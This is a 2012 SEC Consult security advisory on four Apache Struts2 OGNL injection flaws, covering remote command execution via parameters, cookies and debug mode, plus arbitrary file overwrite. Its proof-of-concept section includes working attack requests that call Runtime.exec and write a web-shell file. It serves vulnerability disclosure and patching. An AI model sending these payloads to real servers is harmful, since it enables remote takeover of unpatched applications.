Multiple critical vulnerabilities in Apache Struts2

SEC Consult Vulnerability Lab Security Advisory < 20120104-0 >

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              title: Multiple critical vulnerabilities in Apache Struts2

            product: Apache Struts2

                     * OpenSymphony XWork

                     * OpenSymphony OGNL

 vulnerable version: 2.3.1 and below

      fixed version: 2.3.1.1

             impact: critical

           homepage: http://struts.apache.org/

              found: 2011-11-18

                 by: Johannes Dahse, Andreas Nusser

                     SEC Consult Vulnerability Lab 

                     https://www.sec-consult.com

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Vendor description:

-------------------

Apache Struts2 is a web framework for creating Java web applications.

It is using the OpenSymphony XWork and OGNL libraries. By default,

XWork's ParametersInterceptor treats parameter names provided to

actions as OGNL expressions. A OGNL (Object Graph Navigation Language)

expression is a limited language similar to Java that is tokenized and

parsed by the OGNL parser which invokes appropiate Java methods. This

allows e.g. convenient access to properties that have a getter/setter

method implemented. By providing a parameter like "product.id=1" the

OGNL parser will call the appropiate setter getProduct().setId(1) in

the current action context. OGNL is also able to call arbitrary

methods, constructors and access context variables. For more details

please refer to http://commons.apache.org/ognl/language-guide.html.

 

Vulnerability overview/description:

-----------------------------------

To prevent attackers calling arbitrary methods within parameters the

flag "xwork.MethodAccessor.denyMethodExecution" is set to "true" and the

SecurityMemberAccess field "allowStaticMethodAccess" is set to "false"

by default. Also, to prevent access to context variables an improved

character whitelist for parameter names is applied in XWork's

ParametersInterceptor since Struts 2.2.1.1:

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

Under certain circumstances these restrictions can be bypassed to

execute malicious Java code.

1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)

When an exception occurs while applying parameter values to properties

the value is evaluated as OGNL expression. For example this occurs when

setting a string value to a property with type integer. Since the

values are not filtered an attacker can abuse the power of the OGNL

language to execute arbitrary Java code leading to remote command

execution. This issue has been reported

(https://issues.apache.org/jira/browse/WW-3668) and was fixed in Struts

2.2.3.1. However the ability to execute arbitrary Java code has been

overlooked.

2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)

The character whitelist for parameter names is not applied to Struts

CookieInterceptor. When Struts is configured to handle cookie names, an

attacker can execute arbitrary system commands with static method

access to Java functions. Therefore the flag "allowStaticMethodAccess"

can be set to true within the request.

3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)

Accessing the flag "allowStaticMethodAccess" within parameters is

prohibited since Struts 2.2.3.1. An attacker can still access public

constructors with only one parameter of type String to create new Java

objects and access their setters with only one parameter of type

String. This can be abused for example to create and overwrite

arbitrary files. To inject forbidden characters to the filename an

uninitialized string property can be used.

4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)

While not being a security vulnerability itself, please note that

applications running in developer mode and using Struts

DebuggingInterceptor are prone to remote command execution as well.

While applications should never run in developer mode during

production, developers should be aware that doing so not only has

performance issues (as documented) but also a critical security impact.

Proof of concept:

-----------------

1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)

Given Test.java has an property "id" of type Integer or Long and

appropriate getter and setter methods:

long id;

Given test.jsp with result name=input is configured for action "Test":

struts.xml:

test.jsp

The following request will trigger an exception, the value will be

evaluated as OGNL expression and arbitrary Java code can be executed:

/Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b'

An attacker can also overwrite flags that will allow direct OS

command execution: 

/Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'

If test.jsp displays the property "id" the result of the Java code

evaluation can be accessed:

<%@ taglib prefix="s" uri="/struts-tags" %>

2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)

Given struts.xml is configured to handle all cookie names (independent

of limited cookie values):

*

1,2

The following HTTP header will execute an OS command when sent to

Test.action:

Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1;

x[@java.lang.Runtime@getRuntime().exec('calc')]=1

3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)

Given Test.java has an uninitialized property "name" of type String:

String name; // +getter+setter

The following request will create/overwrite the file

"C:/sec-consult.txt" (empty file):

/Test.action?name=C:/sec-consult.txt&x[new+java.io.FileWriter(name)]=1

The existence of the property 'x' used in these examples is of no

importance.

4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)

Given struts.xml is configured to run in developer mode and to use the

debugging interceptor:

The following request will execute arbitrary OGNL expressions leading

to remote command execution: 

/Test.action?debug=command&expression=%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc') 

Vulnerable / tested versions:

-----------------------------

All products using Struts2 are affected by at least one critical

vulnerability listed above!

Proof of Concept 1.) has been tested with Jetty-6.1.25 26 July 2010 and

Struts 2.2.1.1

Proof of Concepts 2.), 3.) and 4.) have been tested with Jetty-6.1.25

26 July 2010 and Struts 2.2.1.1, 2.2.3.1 and 2.3.1

Vendor contact timeline:

------------------------

2011-12-14: Contacting vendor through security at struts dot apache dot

   org 

2011-12-14: Vendor reply, sending advisory draft

2011-12-14: Vendor released Apache Struts 2.3.1 in parallel

2011-12-16: Vulnerabilities confirmed in Struts 2.3.1, Vendor contacted

2011-12-16: Vendor reply, discussing workaround

2011-12-20: Discussing release of fixed version

2011-12-21: Providing additional information

2012-01-03: Vendor informs that update is ready

2012-01-03: Patch (2.3.1.1) is available

Solution:

---------

Update to Struts 2.3.1.1

Workaround:

-----------

Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter

to the Parameters- and CookieInterceptor:

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[_']+";

Don't run your applications in developer mode.

Advisory URL:

-------------

https://www.sec-consult.com/en/advisories.html

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EOF J. Dahse, A. Nusser / 2012